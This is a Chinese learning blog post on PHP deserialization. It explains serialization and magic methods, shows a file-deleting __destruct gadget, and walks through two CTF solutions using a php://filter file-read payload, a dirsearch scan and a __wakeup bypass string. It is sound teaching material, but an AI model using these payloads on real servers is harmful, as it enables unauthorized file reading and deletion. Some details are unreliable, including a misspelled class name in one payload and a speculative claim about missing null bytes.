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php反序列化含CTF实战

php反序列化

声明：本人只是在学习反序列化 因此这篇文章大量参考了https://blog.csdn.net/Hardworking666/article/details/122373938 这位的博客 感谢他的详细文章让我可以详细学习反序列化 大家想看更详细的可以直接参考他的文章!!!

什么是序列化和反序列化

序列化就是将数据格式转化成可以存储和传输的格式，原因是php文件正常执行结束会将文件销毁，那么下一次使用的时候就没有了，因此需要长久保存，就是序列化,也就是是使用serialize()函数.

反序列化就是将可以传输的这种格式恢复成原本的对象，使用unserialize()函数

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json 和 php 序列化的关系

json

  • 一种轻量级的数据格式，通常用于前后端的数据传输，api，web开发，源自jsp
  • 人类可读
  • 一种纯文本格式，易于通过HTTP传输

关系

  • json是跨平台，跨语言的 任何支持json语言的都可以读写json数据
  • php序列化只能在php中使用，不嫩那个直接跨语言传输
  • 二者可以互相转化，但需要手动改动

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php面向对象编程

  • 面向对象（一种编程思路） ： 将程序中的数据和操作方法打包在一起 ，包含对象 类 封装 继承等
    1. 对象 ：程序中的基本单位，也是现实中的一个具体事物，例如狗狗是一个对象
    2. 类：它是对象的蓝图：定义了狗的特性（毛色 行为） 也可以由类产生具体对象
    3. 封装：将数据和方法打包载一起，只暴露必要部分，例如你知道踩油门车会动，但是不知道内部结构和工作原理
    4. 继承：就是一个类可以继承另一个类的特性，避免代码重复，例如毛和狗都继承了动物类型
    5. 多态：同一个方法在不同对象有不同表现
<?php
class Test//定义了一个类
public $variable = 'this is a variable' //定义了一个变量
pubilc function PrivateVariable()  //定义了一个方法
$object = new Test();  //创建了一个对象
$object -> PrintVariable();  //创建了一个方法
?>

普及面向过程（c pascal fortran）

  • 将程序看作一系列步骤或者动作的指令，可以将其当成一个菜谱，一步一步完成任务

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pubilc protected private

  • php对属性或者方法的访问权限 是通过在前面加关键字实现的 有
    1. public(共有)：在任何地方都可以访问到
    2. privated(受保护)：受保护的类成员可以被其自身或者父类 子类访问
    3. private(私有)：私有的类成员只能被其定义的类所访问

注意： (\x00代表空字符 必须占一个位置)

public:属性被序列化后属性值会变为属性名

privated：属性值被序列化后属性值会变成\x00*\x00属性名

privated：属性值被序列化后属性值会变成\x00类名\x00属性名

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魔术方法

  • 格式:

两个下划线_开头

  • 函数
__construct()            //类的构造函数，创建对象时触发，用于初始化对象的属性或者执行一些启动工作

__destruct()             //类的析构函数，对象被销毁时触发。用来释放资源或执行清理工作

__call()                 //当你调用一个对象的不可访问方法时触发。比如调用一个不存在的对象方法。

__callStatic()           //当你调用一个静态方法时，但方法不存在时触发。

__get()                  //当你访问一个不可访问的属性时触发。比如访问私有属性。

__set()                  //当你给一个不可访问的属性赋值时触发。

__isset()                //当你调用 isset() 或 empty() 判断不可访问属性时触发。

__unset()                //当你用 unset() 删除不可访问属性时触发。

__invoke()               //当你试图以函数的方式调用对象时触发

__sleep()                //当你将对象序列化时触发，通常用于决定哪些属性应该被序列化。

__wakeup()               //当你反序列化对象时触发，用于重新初始化某些状态。

__toString()             //当你将对象作为字符串输出时触发。
  • 作用：他们使你能在Php中对类的行为进行精细调控，十分牛逼

从序列化到反序列化

_construct ->__sleep ->__wakeup() -> __toString ()-> __destruct()

<?php
class TestClass
{ 
//一个变量
    public $variable = 'This is a string';
    //一个方法 这个方法用于打印变量$variable 的值
    public function PrintVariable()
    {
        echo $this->variable.'<br />';
    }
    //构造函数在创建函数时自动调用 
    public function  __construct()
    {   //简单输出__construct
        echo '__construct<br />';
    }
    //析构函数在对象被摧毁时自动调用
    public function __destruct()
    { //简单输出__destruct
        echo '__destruct<br />';
    }
    //当对象被当作一个字符串,函数调用
    public function __toString()
    {
        return '__toString<br />';
           }
}
//创建一个对象
//__construct会被调用
$object = new TestClass();
//调用一个方法
//‘This is a string’将会被输出
$object->PrintVariable();
//对象被当作一个字符串
//toString会被调用
echo $object;
//php脚本要结束时，__destruct会被调用
?>

漏洞:

  • 序列化只序列化属性 不序列方法
  • 我们能控制的只有类的属性，攻击者就是寻找合适能被控制的属性

+++

php序列化与反序列化的使用

序列化：

<?php
class User
{
    //类的数据
    public $age = 0;   //初始值为0
    public $name = '';  //初始值为空字符
    
    //输出数据的方法
    public function printdata()
    {
        //输出用户的年龄和姓名
        echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
    } // “.”表示字符串连接
}
//创建User类的对象
$usr = new User();
//设置数据
$usr->age = 18;
$usr->name = 'Hardworking666';
//调用方法输出数据
$usr->printdata();
//输出序列化后的数据
echo serialize($usr)
?>

输出结果：

User Hardworking666 is 18 years old.
O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}

这里的输出结果第二行就是序列化后的形式：

"o"表示对象，"4"表示对象名长度为4，"User"为对象名，“2”表示有2个参数

“{}”里面是参数的key和value

"s"表示string对象，"3"表示长度，“age”为key，"i"是interger（整数）对象，“18”是value

    • s:3:"age" 表示属性名是 age，长度为 3 个字符。
    • i:18 表示 age 属性的值是一个整数 18。
    • s:4:"name" 表示属性名是 name，长度为 4 个字符。
    • s:14:"Hardworking666" 表示 name 属性的值是一个字符串，长度为 14 个字符，内容是 "Hardworking666"。

对上述例子进行反序列化：

<?php
class User
{
    //类的数据
    public $age = 0;
    public $name = '';
    //输出数据
    public function printdata()
    {
        echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
    }
}
//重建对象
$usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}');
//输出数据
$usr->printdata();
?>

输出结果：

User Hardworking666 is 18 years old.

序列化格式：

a - array 数组型
b - boolean 布尔型
d - double 浮点型
i - integer 整数型
o - common object 共同对象
r - objec reference 对象引用
s - non-escaped binary string 非转义的二进制字符串
S - escaped binary string 转义的二进制字符串
C - custom object 自定义对象
O - class 对象
N - null 空
R - pointer reference 指针引用
U - unicode string Unicode 编码的字符串

实例代码：

这里会演示PHP中关于序列化和反序列化的一些特别行为，特别是 使用了魔术方法__sleep和__wakeup来控制序列化和反序列化过程中的行为，并且定义了__construct和__destruct来演示对象创建和销毁时的行为

<?php
class test
{
    public $variable = '变量反序列化后都要销毁'; // 公共变量
    public $variable2 = 'OTHER';

    // 打印变量的方法
    public function printvariable()
    {
        echo $this->variable . '<br />';
    }

    // 构造方法，创建对象时调用
    public function __construct()
    {
        echo '__construct' . '<br />';
    }

    // 析构方法，销毁对象时调用
    public function __destruct()
    {
        echo '__destruct' . '<br />';
    }

    // 在对象反序列化时调用
    public function __wakeup()
    {
        echo '__wakeup' . '<br />';
    }

    // 在对象序列化时调用
    public function __sleep()
    {
        echo '__sleep' . '<br />';
        return array('variable', 'variable2'); // 只序列化这些属性
    }
}

// 创建一个对象，回调用 __construct  这里直接输出construct
$object = new test();  // 输出：__construct

// 序列化一个对象，会调用 __sleep
$serialized = serialize($object);  // 输出：__sleep
// 输出序列化后的字符串
print 'Serialized:' . $serialized . '<br />';  // 输出 Serialized:O:4:"test":2:{s:8:"variable";s:24:"变量反序列化后都要销毁";s:8:"variable2";s:5:"OTHER";}

// 反序列化对象，会调用 __wakeup
$object2 = unserialize($serialized);  // 输出：__wakeup
// 调用 printvariable，会输出数据
$object2->printvariable();  // 输出：变量反序列化后都要销毁

// 脚本结束，会调用 __destruct
?>

输出结果：

__construct       
__sleep
Serialized:O:4:"test":2:{s:8:"variable";s:24:"变量反序列化后都要销毁";s:8:"variable2";s:5:"OTHER";}
__wakeup
变量反序列化后都要销毁
__destruct

+++

php反序列化

原理：

  • 目标是服务器端
  • 攻击者构造一个包含恶意数据的序列化字符串，例如一个包含特定文件路径的对象属性，或者触发恶意代码的模式方法
  • 攻击者将恶意数据交给服务器（url post请求 cookie)
  • 服务器在反序列时会触发魔术方法 导致恶意操作

使用：

调用__destruct删除

存在漏洞思路：一个类用于临时将日志存储进某个文件，当__destruct被调用时，日志文件就会被删除

//logdata.php
<?php
class logfile  //定义了一个类叫logfile
{
    //log文件名
    public $filename = 'error.log';
    //一些用于储存日志的代码
    public function logdata($text)  // ->核心方法 ：将日志文本追加到error.log文件
    {
        echo 'log data:'.$text.'<br />';
        file_put_contents($this->filename,$text,FILE_APPEND);
    }
    //destrcuctor 删除日志文件
    public function __destruct()
    {
        echo '__destruct deletes '.$this->filename.'file.<br />';
        unlink(dirname(__FILE__).'/'.$this->filename);
    }
}
?>

下一段代码和上一段属于不同的两个类 但是上一段可以引入下一段用于存储下一段中的数据（日志）

<?php
include 'logdata.php'
class User
{
    //类数据
    public $age = 0;
    public $name = '';
    //输出数据
    public function printdata()
    {
        echo 'User '.$this->name.' is'.$this->age.' years old.<br />';
    }
}
//重建数据
$usr = unserialize($_GET['usr_serialized']);
?>

这里通过get传参 或者 url ，用户传入yourscript.php?usr_serialized=O:4:"User":2:{s:3:"age";i:25;s:4:"name";s:5:"Alice";}的序列化字符串给服务器 ，之后服务器会反序列化成$usr = unserialize($_GET['usr_serialized']); 这样你就可以使用**$usr**作为user类的实例 ，并访问他的属性以及调用方法了

像这样：

echo $usr->name;  //输出用户的名字
echo $usr->age;   //输出用户年龄
$usr->printdata       //调用printdata方法

或者构造删除目录下的index.php文件

<?php
include 'logadata.php';
$object = new logfile();
$object ->filename='index.php';
echo serialize($object).</br>;
?>

+++

实战

BUU CODE REVIEW 1 [网鼎杯 2020 青龙组]AreUSerialz 目标:读取flag

页面源代码

<?php

include("flag.php");   //将指定的php文件flag内容嵌入到当前脚本中

highlight_file(__FILE__);

class FileHandler {   //filehandler类包含了一些属性 如$op $fileneme $content 这些属性的值将影响对象的方法执行

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {      //这里初始化一些值
        $op = "1";          
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {     //process方法根据$op的值调用weite或者read方法
        if($this->op == "1") {    
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {  //用于检查当前对象的属性是否被初始化
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);     //file put content将字符串写入文件中  这里和我们想要读取flag没有关系
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {  // 文件最终都会销毁 看看后面的内容
        if($this->op === "2")
            $this->op = "1";  //强行让op=1 所以我们要绕过他
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {     //用于检验$str字符串是否仅包含ascii字符串中32到125位的
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {   //通过get传参方法获取字符串str

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
解法：

这里我通过在线运行php程序

<?php
class FileHandler
{
    public $op=2;
    public $filename="php://filter/read=convert.base64-encode/resource=flag.php";   //这个代码的作用是 读取 flag.php 文件 的内容，并将其 Base64 编码。(下方芝士中有拓展)
    public $content;   //这里属性都定义为公共的，因为序列化时私有的属性就会被忽略 这就无法达成我想要的目的

}
$a = new FileHandler();  //这里创建一个filehandler类的实例 实例化后 才可以使用类的属性或者方法
echo serialize($a);    //这里用于将a这个对象（也就是filehandler类的实例）转化为一个可以存储或传输的字符串


?>

输出

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

之后payload:

?str=O:12:"FileHhandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

得到了result //这是base64的编码 这里使用[file:///D:/cyberchef/CyberChef_v10.19.4.html][] 进行解码

[Result]:
PD9waHAgJGZsYWc9J2ZsYWd7YjI1NjVlNTgtOWFkOS00MGE2LTg5ZmItMDQ1MWFkNzUwYjk5fSc7Cg==

<?php $flag='flag{b2565e58-9ad9-40a6-89fb-0451ad750b99}';

因此得到flag

芝士点: php 封装协议

php:// 协议

PHP 中的 php:// 协议是一个特殊的流包装器，可以让你访问文件系统、内存或其他资源，进行编码或解码等操作，常用的协议包括：

  • php://input: 读取原始 POST 数据流（例如上传文件）。
  • php://output: 将输出直接发送到浏览器。
  • php://memory: 在内存中读写数据，类似文件，但不存储在磁盘上。
  • php://filter: 用于对文件流进行过滤，可以对文件内容进行编码、解码等操作。

resource=<要过滤的数据流> 指定了你要过滤的数据流 必选

read=<读链的筛选列表> 可以指定一个或者多个过滤器的名称 以管道符(|)分割 可选

write=<写链的筛选列表>可以设定一个或多个过滤器名称，以管道符(|)分割，可选

经验：php伪协议

因此上面的题目中 我们将flag.php文件在读取时进行base64编码 ，这样即使我们能够访问文件内容，他也不会以纯文本形式直接显示 ，这么做是为了绕过一些限制并且获取文件内容，因为出题者增加了题目难度

+++

[极客大挑战 2019]PHP

做法

这里启动靶机之后显示有备份网站 这里使用dirsearch

dirsearch 是一个用 Python 编写的简单而强大的目录扫描工具，它用于通过暴力攻击来发现 Web 服务器上的隐藏目录和文件

python dirsearch.py -u http://ce68feba-62cb-4570-8482-1904ddc69956.node5.buuoj.cn:81/ -e php

查看class.php的文件中发现问题在于我需要让username=admin，但是设置的代码 使得反序列之后uesename=guest 所以关键在于绕过__wakeup 魔术方法

解法：
  1. 当属性个数的值大于实际个数的时候，会跳过__wakeup()函数的执行

ps:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
// 这里name 后面属性值应该是2 但是我之后改成了3 那么就可以绕过__wakeup了
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

这里的序列化的代码来自以下代码 也就是本题目解法

<?php
class Name {
    private $username = 'admin';
    private $password = '100';
}

// 创建对象
$a = new Name();
// 序列化对象
echo serialize($a);
?>

但是光光修改了属性值为3不足以通过题目 因为private 属性被序列化的时候属性名字会变成%00类名%00属性名 ，长度跟随属性名长度而改变，加%00的目的是用于替代不可见字符

这里在线编码没有加的原因可能是

PHP 版本差异：不同版本的 PHP 可能会在处理私有和受保护属性时有所不同。早期的 PHP 版本会使用 \0 字节（即 %00）来区分私有和受保护属性，而某些较新的 PHP 版本可能会改变这一行为，直接使用属性名。

运行环境影响：你提到是在“在线运行环境”中运行代码，这可能会影响到序列化的具体实现。有些在线工具可能会修改或简化序列化逻辑，以便输出更易读或更简洁的结果。

序列化机制的优化：为了优化序列化的效率，PHP 可能对某些特殊情况做了处理。例如，如果对象的类定义是简单的，PHP 可能不会添加 \0 字节，而是直接使用属性名。

因此

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

得到了flag!!!

悦读

道可道，非常道；名可名，非常名。 无名，天地之始，有名，万物之母。 故常无欲，以观其妙，常有欲，以观其徼。 此两者，同出而异名，同谓之玄，玄之又玄，众妙之门。

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